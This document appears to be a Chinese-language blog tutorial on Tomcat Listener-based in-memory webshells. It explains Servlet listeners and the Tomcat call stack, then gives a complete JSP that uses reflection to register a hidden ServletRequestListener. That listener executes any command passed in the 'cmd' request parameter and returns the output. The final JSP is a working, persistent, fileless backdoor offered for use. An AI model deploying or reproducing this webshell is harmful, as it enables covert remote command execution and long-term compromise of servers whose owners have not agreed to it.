Tomcat Listener型内存马
关于Servlet Listener
Listener:顾名思义就是监听Java对象的方法调用或者属性改变,即当发生上述现象时会调用Listener中的对应方法
Servlet规范中定义8个监听器接口,可用于监听ServletContext、HttpSession、ServletRequest,监听事件分类:
- 监听对象创建和变量销毁
- 监听对象属性变更
- 监听HttpSession中对象状态改变
以下是一个使用ServletRequestListener的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.example.memshell;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener;
@WebListener public class TestListener implements ServletRequestListener {
public TestListener(){
}
@Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("test Listener requestDestroyed"); }
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("test Listener requestInitialized"); }
}
|
直接在requestInitialized打断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| requestInitialized:22, TestListener (com.example.memshell) fireRequestInitEvent:5157, StandardContext (org.apache.catalina.core) invoke:116, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:346, CoyoteAdapter (org.apache.catalina.connector) service:388, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:744, Thread (java.lang)
|
看看fireRequestInitEvent,首先是获取应用的所有listener,然后遍历调用requestInitialized(destroy的逻辑也是类似)
看看ApplicationEventListeners中的相关方法,有getter,setter还有一个add,这在写内存马注册监听器有用
获取Request和Response
request:
注意到我们在Listener中使用的参数ServletRequestEvent,跟进查看到构造函数,由于多态我们需要在调试时查看类型
此时的request为RequestFacade类
实现了HttpServletRequest接口,可以直接拿来用了
注意这里的构造函数,可以继续查看是Request类
在Request类中有一个getReponse函数,可以直接拿来用
其实两者都是 tomcat 内部的对象, 封装了底层的 http 请求, 而 RequestFacade 是 Request 的又一层封装
下面我们用反射来实现上面获取的过程
1 2 3 4 5
| RequestFacade requestFacade = (RequestFacade) sre.getServletRequest(); Field requestField = RequestFacade.class.getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
|
后面就能直接通过 request 和 response 来正常的接收参数和输出回显
Listener内存马
jsp内存马如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.xml.bind.Unmarshaller" %> <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%
ServletContext servletContext = request.getSession().getServletContext(); Field appctxField = servletContext.getClass().getDeclaredField("context"); appctxField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctxField.get(servletContext); Field stdctxField = applicationContext.getClass().getDeclaredField("context"); stdctxField.setAccessible(true); StandardContext standardContext = (StandardContext) stdctxField.get(applicationContext);
ServletRequestListener servletRequestListener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent sre) { ServletRequestListener.super.requestDestroyed(sre); }
@Override public void requestInitialized(ServletRequestEvent sre) { try{ RequestFacade requestFacade = (RequestFacade) sre.getServletRequest(); Field requestField = RequestFacade.class.getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
response.setCharacterEncoding("UTF-8"); PrintWriter printWriter = response.getWriter(); String cmd = request.getParameter("cmd"); if(cmd != null){ Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line = null; while((line = bufferedReader.readLine())!=null){ printWriter.write(line); } }
}catch (Exception e){ e.printStackTrace(); }
} };
standardContext.addApplicationEventListener(servletRequestListener);
out.println("Listener Shell Injection Success");
%>
|